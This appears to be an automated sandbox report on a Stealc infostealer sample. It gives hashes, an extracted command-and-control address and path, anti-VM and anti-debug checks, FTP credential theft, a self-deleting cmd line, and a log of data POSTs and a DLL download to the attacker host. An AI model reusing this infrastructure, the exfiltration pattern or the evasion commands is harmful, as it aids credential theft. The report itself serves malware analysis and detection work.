stealc | 4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
13/11/2024, 20:50 UTC

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General

Target

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
Size

2.1MB
MD5

7f84651d5fba58c9c924ac13bb46a91b
SHA1

cd2b927fcc75f51d58e56e43b742017e90b8012c
SHA256

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0
SHA512

35e59fa1824af6297297a8dd9cf6456e9ea0ac9c1a6d9797ecae127960cbffbb41e77bd8ed4c8127594b8aba2448815fc6eb86b315053c61697cb9f5b50c23cd
SSDEEP

49152:1EV5zfr0Wm/+V5uzaioHxzkG8zyzUc02uU9:+zTWG8TQBwyzUc0TU

Score

10^/10

stealc tale credential_access discovery evasion spyware stealer

Malware Config

Extracted

Family

stealc

Botnet

tale

http://185.215.113.206

Attributes

url_path
/6c4adf523b719729.php

Signatures

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Deletes itself 1 IoCs

pid	Process
2992	cmd.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Wine	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Loads dropped DLL 1 IoCs

pid	Process
3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2296	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2992	3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe	31
PID 3032 wrote to memory of 2992	3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe	31
PID 3032 wrote to memory of 2992	3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe	31
PID 3032 wrote to memory of 2992	3032	4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe	31
PID 2992 wrote to memory of 2296	2992	cmd.exe	33
PID 2992 wrote to memory of 2296	2992	cmd.exe	33
PID 2992 wrote to memory of 2296	2992	cmd.exe	33
PID 2992 wrote to memory of 2296	2992	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe
"C:\Users\Admin\AppData\Local\Temp\4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe" & del "C:\ProgramData\*.dll"" & exit
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2296

Network

GET

http://185.215.113.206/

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

GET / HTTP/1.1
Host: 185.215.113.206
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Wed, 13 Nov 2024 20:50:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG
Host: 185.215.113.206
Content-Length: 211
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH
Host: 185.215.113.206
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB
Host: 185.215.113.206
Content-Length: 472
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD
Host: 185.215.113.206
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG
Host: 185.215.113.206
Content-Length: 5216
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
GET

http://185.215.113.206/746f34465cf17784/sqlite3.dll

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

GET /746f34465cf17784/sqlite3.dll HTTP/1.1
Host: 185.215.113.206
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKF
Host: 185.215.113.206
Content-Length: 472
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC
Host: 185.215.113.206
Content-Length: 470
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBA
Host: 185.215.113.206
Content-Length: 465
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
POST

http://185.215.113.206/6c4adf523b719729.php

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

Remote address:

185.215.113.206:80

Request

POST /6c4adf523b719729.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE
Host: 185.215.113.206
Content-Length: 465
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Date: Wed, 13 Nov 2024 20:50:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

185.215.113.206:80

http://185.215.113.206/6c4adf523b719729.php

http

4f44e4b67a801c3f7b7fa68686f15a95320359c58da0165aa9656da24cfbb8e0.exe

11.5kB
5.8kB
19
18

HTTP Request

GET http://185.215.113.206/

HTTP Response

200

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

GET http://185.215.113.206/746f34465cf17784/sqlite3.dll

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

HTTP Request

POST http://185.215.113.206/6c4adf523b719729.php

HTTP Response

404

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

\ProgramData\chrome.dll

Filesize
676KB

MD5
eda18948a989176f4eebb175ce806255

SHA1
ff22a3d5f5fb705137f233c36622c79eab995897

SHA256
81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

SHA512
160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

Download Submit
memory/3032-0-0x00000000000D0000-0x0000000000818000-memory.dmp

Filesize
7.3MB

Download
memory/3032-1-0x0000000077410000-0x0000000077412000-memory.dmp

Filesize
8KB

Download
memory/3032-2-0x00000000000D1000-0x0000000000139000-memory.dmp

Filesize
416KB

Download
memory/3032-3-0x00000000000D0000-0x0000000000818000-memory.dmp

Filesize
7.3MB

Download
memory/3032-8-0x00000000000D0000-0x0000000000818000-memory.dmp

Filesize
7.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

MITRE ATT&CK Enterprise v15

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